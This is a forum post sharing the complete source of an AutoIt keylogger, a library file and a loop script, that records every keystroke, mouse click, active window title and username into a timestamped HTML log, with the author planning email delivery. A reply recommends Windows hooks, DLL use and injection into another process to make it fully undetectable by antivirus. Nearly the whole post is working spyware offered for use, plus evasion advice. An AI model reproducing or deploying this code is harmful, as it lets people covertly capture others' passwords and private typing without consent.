Autoit Keylogger After searching through the web most of what I found did not work on Windows7 machines so I wrote this. It consist of two files a UDF and script, I have no idea why you can just remove the functions from the UDF and run it as one script but whatever. I figured I would probably add some things for email etc.. It is buggy and needs some work but you get the idea. UDF Code: #Include-Once #Include <misc.au3> Global $sLast = "" $WindowCheck = "" $Date=@mon&@mday&@year&"_"&@hour&@min&@sec $FileOpen = FileOpen($Date&".html", 1) $User = " CurrentUser:{"&"<i>"&@UserName&"</i>"&"}" Func _LogKeyPressed($WhatToLog) $WindowTitle = WinGetTitle("") $Date = " Date:{"&"<i>"&@mon&"-"&@mday&"-"&@year&"</i>"&"}" $Time = " Time:{"&"<i>"&@hour&":"&@min&"."&@sec&"."&@msec&"</i>"&"}" If $WindowTitle = $WindowCheck Then FileWrite($FileOpen, $WhatToLog) Else $WindowCheck = $WindowTitle FileWrite($FileOpen, "<table border="&""""&"2"&""""&"><tr><th>WindowTitle:"&"["&"<i>"&$WindowTitle&"</i>"&"]"&$User&$Date&$Time&"</th>"&"</tr></table>") EndIf EndFunc Func _CaptureKeys() If _IsPressed('01') Then If $sLast <> "01" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>LEFT MOUSE BUTTON</u>} </b></font>') $sLast = "01" EndIf If _IsPressed('02') Then If $sLast <> "02" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>RIGHT MOUSE BUTTON</u>} </b></font>') $sLast = "02" EndIf If _IsPressed('04') Then If $sLast <> "04" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>MIDDLE MOUSE BUTTON</u>} </b></font>') $sLast = "04" EndIf If _IsPressed('05') Then If $sLast <> "05" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>2000/XP X1 MouseButton</u>} </b></font>') $sLast = "05" EndIf If _IsPressed('06') Then If $sLast <> "06" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>2000/XP X2 MouseButton</u>} </b></font>') $sLast = "06" EndIf If _IsPressed('08') Then If $sLast <> "08" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>BACKSPACE</u>} </b></font>') $sLast = "08" EndIf If _IsPressed('09') Then If $sLast <> "09" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>TAB</u>} </b></font>') $sLast = "09" EndIf If _IsPressed('0C') Then If $sLast <> "0C" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>CLEAR</u>} </b></font>') $sLast = "0C" EndIf If _IsPressed('0D') Then If $sLast <> "0D" Then _LogKeyPressed('<br><font style="font-size:12px;color:red"><b> {<u>ENTER</u>} </b></font><br>') $sLast = "0D" EndIf If _IsPressed('10') Then If $sLast <> "10" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>SHIFT</u>} </b></font>') $sLast = "10" EndIf If _IsPressed('11') Then If $sLast <> "11" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>CTRL</u>} </b></font>') $sLast = "11" EndIf If _IsPressed('12') Then If $sLast <> "12" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>ALT</u>} </b></font>') $sLast = "12" EndIf If _IsPressed('13') Then If $sLast <> "13" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>PAUSE</u>} </b></font>') $sLast = "13" EndIf If _IsPressed('14') Then If $sLast <> "14" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>CAPS</u>} </b></font>') $sLast = "14" EndIf If _IsPressed('1B') Then If $sLast <> "1B" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>ESC</u>} </b></font>') $sLast = "1B" EndIf If _IsPressed('20') Then If $sLast <> "20" Then _LogKeyPressed(' ') $sLast = "20" EndIf If _IsPressed('21') Then If $sLast <> "21" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>PAGEUP</u>} </b></font>') $sLast = "21" EndIf If _IsPressed('22') Then If $sLast <> "22" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>PAGEDOWN</u>} </b></font>') $sLast = "22" EndIf If _IsPressed('23') Then If $sLast <> "23" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>END</u>} </b></font>') $sLast = "23" EndIf If _IsPressed('24') Then If $sLast <> "24" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>HOME</u>} </b></font>') $sLast = "24" EndIf If _IsPressed('25') Then If $sLast <> "25" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>LEFTARROW</u>} </b></font>') $sLast = "25" EndIf If _IsPressed('26') Then If $sLast <> "26" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>UPARROW</u>} </b></font>') $sLast = "26" EndIf If _IsPressed('27') Then If $sLast <> "27" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>RIGHTARROW</u>} </b></font>') $sLast = "27" EndIf If _IsPressed('28') Then If $sLast <> "28" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>DOWNARROW</u>} </b></font>') $sLast = "28" EndIf If _IsPressed('29') Then If $sLast <> "29" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>SELECT</u>} </b></font>') $sLast = "29" EndIf If _IsPressed('2A') Then If $sLast <> "2A" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>PRINT</u>} </b></font>') $sLast = "2A" EndIf If _IsPressed('2B') Then If $sLast <> "2B" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>EXECUTE</u>} </b></font>') $sLast = "2B" EndIf If _IsPressed('2C') Then If $sLast <> "2C" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>PRINTSCREEN</u>} </b></font>') $sLast = "2C" EndIf If _IsPressed('2D') Then If $sLast <> "2D" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>INS</u>} </b></font>') $sLast = "2D" EndIf If _IsPressed('2E') Then If $sLast <> "2E" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>DEL</u>} </b></font>') $sLast = "2E" EndIf If _IsPressed('5B') Then If $sLast <> "5B" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>LEFTWINDOW</u>} </b></font>') $sLast = "5B" EndIf If _IsPressed('5C') Then If $sLast <> "5C" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>RIGHTWINDOW</u>} </b></font>') $sLast = "5C" EndIf If _IsPressed('60') Then If $sLast <> "60" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>NUMKEYPAD 0</u>} </b></font>') $sLast = "60" EndIf If _IsPressed('61') Then If $sLast <> "61" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>NUMKEYPAD 1</u>} </b></font>') $sLast = "61" EndIf If _IsPressed('62') Then If $sLast <> "62" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>NUMKEYPAD 2</u>} </b></font>') $sLast = "62" EndIf If _IsPressed('63') Then If $sLast <> "63" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>NUMKEYPAD 3</u>} </b></font>') $sLast = "63" EndIf If _IsPressed('64') Then If $sLast <> "64" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>NUMKEYPAD 4</u>} </b></font>') $sLast = "64" EndIf If _IsPressed('65') Then If $sLast <> "65" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>NUMKEYPAD 5</u>} </b></font>') $sLast = "65" EndIf If _IsPressed('66') Then If $sLast <> "66" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>NUMKEYPAD 6</u>} </b></font>') $sLast = "66" EndIf If _IsPressed('67') Then If $sLast <> "67" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>NUMKEYPAD 7</u>} </b></font>') $sLast = "67" EndIf If _IsPressed('68') Then If $sLast <> "68" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>NUMKEYPAD 8</u>} </b></font>') $sLast = "68" EndIf If _IsPressed('69') Then If $sLast <> "69" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>NUMKEYPAD 9</u>} </b></font>') $sLast = "69" EndIf If _IsPressed('6A') Then If $sLast <> "6A" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>MULTIPLY</u>} </b></font>') $sLast = "6A" EndIf If _IsPressed('6B') Then If $sLast <> "6B" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>ADD</u>} </b></font>') $sLast = "6B" EndIf If _IsPressed('6C') Then If $sLast <> "6C" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>SEPARATOR</u>} </b></font>') $sLast = "6C" EndIf If _IsPressed('6D') Then If $sLast <> "6D" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>SUBTRACT</u>} </b></font>') $sLast = "6D" EndIf If _IsPressed('6E') Then If $sLast <> "6E" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>DECIMAL</u>} </b></font>') $sLast = "6E" EndIf If _IsPressed('6F') Then If $sLast <> "6F" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>DIVIDE</u>} </b></font>') $sLast = "6F" EndIf If _IsPressed('70') Then If $sLast <> "70" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {F1} </b></font>') $sLast = "70" EndIf If _IsPressed('71') Then If $sLast <> "71" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {F2} </b></font>') $sLast = "71" EndIf If _IsPressed('72') Then If $sLast <> "72" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {F3} </b></font>') $sLast = "72" EndIf If _IsPressed('73') Then If $sLast <> "73" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {F4} </b></font>') $sLast = "73" EndIf If _IsPressed('74') Then If $sLast <> "74" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {F5} </b></font>') $sLast = "74" EndIf If _IsPressed('75') Then If $sLast <> "75" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {F6} </b></font>') $sLast = "75" EndIf If _IsPressed('76') Then If $sLast <> "76" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {F7} </b></font>') $sLast = "76" EndIf If _IsPressed('77') Then If $sLast <> "77" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {F8} </b></font>') $sLast = "77" EndIf If _IsPressed('78') Then If $sLast <> "78" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {F9} </b></font>') $sLast = "78" EndIf If _IsPressed('79') Then If $sLast <> "79" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {F10} </b></font>') $sLast = "79" EndIf If _IsPressed('7A') Then If $sLast <> "7A" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {F11} </b></font>') $sLast = "7A" EndIf If _IsPressed('7B') Then If $sLast <> "7B" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {F12} </b></font>') $sLast = "7B" EndIf If _IsPressed('7C') Then If $sLast <> "7C" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {F13} </b></font>') $sLast = "7C" EndIf If _IsPressed('7D') Then If $sLast <> "7D" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {F14} </b></font>') $sLast = "7D" EndIf If _IsPressed('7E') Then If $sLast <> "7E" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {F15} </b></font>') $sLast = "7E" EndIf If _IsPressed('7F') Then If $sLast <> "7F" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {F16} </b></font>') $sLast = "7F" EndIf If _IsPressed('80H') Then If $sLast <> "80H" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {F17} </b></font>') $sLast = "80H" EndIf If _IsPressed('81H') Then If $sLast <> "81H" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {F18} </b></font>') $sLast = "81H" EndIf If _IsPressed('82H') Then If $sLast <> "82H" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {F19} </b></font>') $sLast = "82H" EndIf If _IsPressed('83H') Then If $sLast <> "83H" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {F20} </b></font>') $sLast = "83H" EndIf If _IsPressed('84H') Then If $sLast <> "84H" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {F21} </b></font>') $sLast = "84H" EndIf If _IsPressed('85H') Then If $sLast <> "85H" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {F22} </b></font>') $sLast = "85H" EndIf If _IsPressed('86H') Then If $sLast <> "86H" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {F23} </b></font>') $sLast = "86H" EndIf If _IsPressed('87H') Then If $sLast <> "87H" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {F24} </b></font>') $sLast = "87H" EndIf If _IsPressed('90') Then If $sLast <> "90" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>NUMLOCK</u>} </b></font>') $sLast = "90" EndIf If _IsPressed('91') Then If $sLast <> "91" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>SCROLLLOCK</u>} </b></font>') $sLast = "91" EndIf If _IsPressed('A1') Then If $sLast <> "A1" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>RIGHTSHIFT</u>} </b></font>') $sLast = "A1" EndIf If _IsPressed('A2') Then If $sLast <> "A2" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>LEFTCONTROL</u>} </b></font>') $sLast = "A2" EndIf If _IsPressed('A3') Then If $sLast <> "A3" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>RIGHTCONTROL</u>} </b></font>') $sLast = "A3" EndIf If _IsPressed('A4') Then If $sLast <> "A4" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>LEFTMENU</u>} </b></font>') $sLast = "A4" EndIf If _IsPressed('A5') Then If $sLast <> "A5" Then _LogKeyPressed('<font style="font-size:12px;color:red"><b> {<u>RIGHTMENU</u>} </b></font>') $sLast = "A5" EndIf If _IsPressed('30') Then If $sLast <> "30" Then _LogKeyPressed('0') $sLast = "30" EndIf If _IsPressed('31') Then If $sLast <> "31" Then _LogKeyPressed('1') $sLast = "31" EndIf If _IsPressed('32') Then If $sLast <> "32" Then _LogKeyPressed('2') $sLast = "32" EndIf If _IsPressed('33') Then If $sLast <> "33" Then _LogKeyPressed('3') $sLast = "33" EndIf If _IsPressed('34') Then If $sLast <> "34" Then _LogKeyPressed('4') $sLast = "34" EndIf If _IsPressed('35') Then If $sLast <> "35" Then _LogKeyPressed('5') $sLast = "35" EndIf If _IsPressed('36') Then If $sLast <> "36" Then _LogKeyPressed('6') $sLast = "36" EndIf If _IsPressed('37') Then If $sLast <> "37" Then _LogKeyPressed('7') $sLast = "37" EndIf If _IsPressed('38') Then If $sLast <> "38" Then _LogKeyPressed('8') $sLast = "38" EndIf If _IsPressed('39') Then If $sLast <> "39" Then _LogKeyPressed('9') $sLast = "39" EndIf If _IsPressed('41') Then If $sLast <> "41" Then _LogKeyPressed('A') $sLast = "41" EndIf If _IsPressed('42') Then If $sLast <> "42" Then _LogKeyPressed('B') $sLast = "42" EndIf If _IsPressed('43') Then If $sLast <> "43" Then _LogKeyPressed('C') $sLast = "43" EndIf If _IsPressed('44') Then If $sLast <> "44" Then _LogKeyPressed('D') $sLast = "44" EndIf If _IsPressed('45') Then If $sLast <> "45" Then _LogKeyPressed('E') $sLast = "45" EndIf If _IsPressed('46') Then If $sLast <> "46" Then _LogKeyPressed('F') $sLast = "46" EndIf If _IsPressed('47') Then If $sLast <> "47" Then _LogKeyPressed('G') $sLast = "47" EndIf If _IsPressed('48') Then If $sLast <> "48" Then _LogKeyPressed('H') $sLast = "48" EndIf If _IsPressed('49') Then If $sLast <> "49" Then _LogKeyPressed('I') $sLast = "49" EndIf If _IsPressed('4A') Then If $sLast <> "4A" Then _LogKeyPressed('J') $sLast = "4A" EndIf If _IsPressed('4B') Then If $sLast <> "4B" Then _LogKeyPressed('K') $sLast = "4B" EndIf If _IsPressed('4C') Then If $sLast <> "4C" Then _LogKeyPressed('L') $sLast = "4C" EndIf If _IsPressed('4D') Then If $sLast <> "4D" Then _LogKeyPressed('M') $sLast = "4D" EndIf If _IsPressed('4E') Then If $sLast <> "4E" Then _LogKeyPressed('N') $sLast = "4E" EndIf If _IsPressed('4F') Then If $sLast <> "4F" Then _LogKeyPressed('O') $sLast = "4F" EndIf If _IsPressed('50') Then If $sLast <> "50" Then _LogKeyPressed('P') $sLast = "50" EndIf If _IsPressed('51') Then If $sLast <> "51" Then _LogKeyPressed('Q') $sLast = "51" EndIf If _IsPressed('52') Then If $sLast <> "52" Then _LogKeyPressed('R') $sLast = "52" EndIf If _IsPressed('53') Then If $sLast <> "53" Then _LogKeyPressed('S') $sLast = "53" EndIf If _IsPressed('54') Then If $sLast <> "54" Then _LogKeyPressed('T') $sLast = "54" EndIf If _IsPressed('55') Then If $sLast <> "55" Then _LogKeyPressed('U') $sLast = "55" EndIf If _IsPressed('56') Then If $sLast <> "56" Then _LogKeyPressed('V') $sLast = "56" EndIf If _IsPressed('57') Then If $sLast <> "57" Then _LogKeyPressed('W') $sLast = "57" EndIf If _IsPressed('58') Then If $sLast <> "58" Then _LogKeyPressed('X') $sLast = "58" EndIf If _IsPressed('59') Then If $sLast <> "59" Then _LogKeyPressed('Y') $sLast = "59" EndIf If _IsPressed('5A') Then If $sLast <> "5A" Then _LogKeyPressed('Z') $sLast = "5A" EndIf If _IsPressed('BA') Then If $sLast <> "BA" Then _LogKeyPressed(';') $sLast = "BA" EndIf If _IsPressed('BB') Then If $sLast <> "BB" Then _LogKeyPressed('=') $sLast = "BB" EndIf If _IsPressed('BC') Then If $sLast <> "BC" Then _LogKeyPressed(',') $sLast = "BC" EndIf If _IsPressed('BD') Then If $sLast <> "BD" Then _LogKeyPressed('-') $sLast = "BD" EndIf If _IsPressed('BE') Then If $sLast <> "BE" Then _LogKeyPressed('.') $sLast = "BE" EndIf If _IsPressed('BF') Then If $sLast <> "BF" Then _LogKeyPressed('/') $sLast = "BF" EndIf If _IsPressed('C0') Then If $sLast <> "C0" Then _LogKeyPressed('`') $sLast = "C0" EndIf If _IsPressed('DB') Then If $sLast <> "DB" Then _LogKeyPressed('[') $sLast = "DB" EndIf If _IsPressed('DC') Then If $sLast <> "DC" Then _LogKeyPressed('\') $sLast = "DC" EndIf If _IsPressed('DD') Then If $sLast <> "DD" Then _LogKeyPressed(']') $sLast = "DD" EndIf Sleep(75) EndFunc Script Code: #Include <KeyLog.au3> #cs Name ..........: KLog_v1.0 Description ...: Records and logs key strokes Autoit Version : 3.3.6.1 Author(s) .....: Cleptography Date ..........: Sun March 06 21:25:40 CET 2011 Include .......: KeyLog.au3 #ce While 1 _CaptureKeys() WEnd
It looks good, I appreciate ur effort, I used to be AutoIT programmer... But I moved to C Nevertheless, I think that those keypressed if statements are not effective... better do a WindowsHook and for better undetectability use some functions to be in DLL and to be best inject some functions to another process without DLL, this is the method I used a years ago and it worked 100% FUD!!!